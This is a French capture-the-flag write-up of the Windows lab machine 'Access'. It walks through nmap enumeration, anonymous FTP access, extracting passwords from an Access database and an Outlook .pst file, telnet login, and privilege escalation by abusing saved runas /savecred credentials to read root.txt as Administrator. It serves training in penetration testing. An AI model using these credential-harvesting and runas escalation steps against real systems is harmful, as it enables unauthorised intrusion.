

Introduction

Access est une machine Windows dont l'adresse IP est 10.10.10.98.

Compétences mises en œuvre :

- Enumération des ports et services.
- Exploration du ftp.
- Lecture des identifiants/mots de passes d'un fichier mdb.
- Elévation de privilège via runas.

Enumération initiale

On commence comme d'habitude avec une énumération des ports et services de la machine avec **nmap** :

\$ nmap -T4 -A 10.10.10.98

```
PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_Can't get directory listing: PASV failed: 425 Cannot open data connection.

| ftp-syst:

|_ SYST: Windows_NT

23/tcp open telnet?

80/tcp open http Microsoft IIS httpd 7.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/7.5

|_http-title: MegaCorp

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Nous pouvons voir 3 ports ouverts:

- 21 pour un serveur ftp
- 23 pour un serveur telnet
- 80 pour un serveur web

Obtenir un accès utilisateur

Je commence toujours par le serveur ftp s'il est là, de plus, le scan nmap nous affiche que l'utilisateur anonymous est autorisé à se connecter. Nous allons donc inspecter :

```
$ ftp 10.10.10.98
ftp > dir Backups
ftp > dir Engineer
```

```
- [★]$ ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:parrot): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM
                     <DIR>
                                       Backups
08-24-18 10:00PM
                        <DIR>
                                       Engineer
226 Transfer complete.
ftp> dir Backups
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM
                               5652480 backup.mdb
226 Transfer complete.
ftp> dir Engineer
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 01:16AM
                                 10870 Access Control.zip
226 Transfer complete.
ftp>
```

Deux dossiers sont présents, chacun contenant un fichier, d'une part un fichier **mdb** et d'autre part un fichier compressé **zip**. Le premier est un fichier **Microsoft Access Database**, alors que le deuxième est juste une archive, mais protégée par un mot de passe... En faisant un **strings** sur le fichier **backup.mdb**, nous obtenons le mot de passe pour extraire l'archive :

```
$ strings backup.mdb
```

```
okQi
okQi
backup_admin
admin
engineer
access4u@security
admin
admin
admin
admin
admin
admin
by the control of t
```

Nous obtenons alors le mot de passe access4u@security avec lequel nous décompressons l'archive :

\$ 7z x Access\ Control.zip -paccess4u@security

Apparemment, l'archive contenait un fichier **Access Control.pst**. L'extension **pst** signifie que c'est un fichier **Microsoft Outlook email folder**. Pour le lire nous allons utiliser **readpst** et **cat** :

```
$ readpst Access\ Control.pst
$ cat Access\ Control.mbox
```

</or>

Nous découvrons le mot de passe du compte security : 4Cc3ssC0ntr0ller

Nous tentons alors une connexion en telnet et récupérons le user.txt :

```
$ telnet 10.10.10.98

C:\Users\security> type Desktop\user.txt
```

Obtenir un accès administrateur

Après beaucoup de recherche, le dossier **Desktop** de l'utilisateur **Public** est en dossier caché et contient un fichier **Ink** :

```
C:\Users\Public> dir /a
C:\Users\Public> dir Desktop\
```

```
C:\Users\Public>dir /a
Volume in drive C has no label.
Volume Serial Number is 9C45-DBF0
Directory of C:\Users\Public
07/14/2009 05:57 AM
                       <DIR>
07/14/2009 05:57 AM
                       <DIR>
08/28/2018 07:51 AM
                       <DIR>
                                       Desktop
                                   174 desktop.ini
07/14/2009 05:57 AM
07/14/2009 06:06 AM
                                       Documents
                       <DIR>
07/14/2009 05:57 AM
                       <DIR>
                                       Downloads
07/14/2009 03:34 AM
                       <DIR>
                                       Favorites
07/14/2009 05:57 AM
                       <DIR>
                                       Libraries
07/14/2009
           05:57 AM
                       <DIR>
                                      Music
07/14/2009 05:57 AM
                       <DIR>
                                       Pictures
07/14/2009 05:57 AM
                       <DIR>
                                       Videos
              1 File(s)
                                    174 bytes
              10 Dir(s) 16,772,325,376 bytes free
C:\Users\Public>dir Desktop
Volume in drive C has no label.
Volume Serial Number is 9C45-DBF0
Directory of C:\Users\Public\Desktop
08/22/2018 10:18 PM
                                1,870 ZKAccess3.5 Security System.lnk
              1 File(s)
                                1,870 bytes
              0 Dir(s) 16,772,325,376 bytes free
:\Users\Public>
```

Le fichier **ZKAccess3.5 Security System.Ink** est un fichier **link** (c'est un raccourci windows). Voici ce qu'il contient :

```
C:\Users\Public> type "Desktop\ZKAccess3.5 Security System.Ink"
```

```
C:\Users\Public>type "Desktop\ZKAccess3.5 Security System.lnk"
L6F@ 6676667666#6P/P@06 0:i6+008/C:\R1M@:\windows60:66M6:*\windowsVIMV@System3280:06MV0*@System32X2P0:0

runas.exe60:160:16*Yrunas.exeL-K60E6C:\windows
s\System32\runas.exe#..\..\\Windows\System32\runas.exeC:\ZKTeco\ZKAccess3.56/user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive\ZKTeco\ZKAccess3.5\img\AccessNET.ico%SystemDrive
```

Le fichier contient une commande **runas.exe** exécutée en tant qu'administrateur. C'est très surement la méthode à exploiter. On à l'air de pouvoir exécuter une commande en tant qu'administrateur, nous pouvons alors tenter d'aller lire le fichier **root.txt** en tant qu'administrateur (en s'inspirant grandement de la commande contenue dans le fichier lnk):

C:\Users\Public>runas /savecred /user :ACCESS\Administrator "cmd.exe /C type C:\Users\Administrator\Desktop\root.txt > C:\Users\Public\out.txt"

ı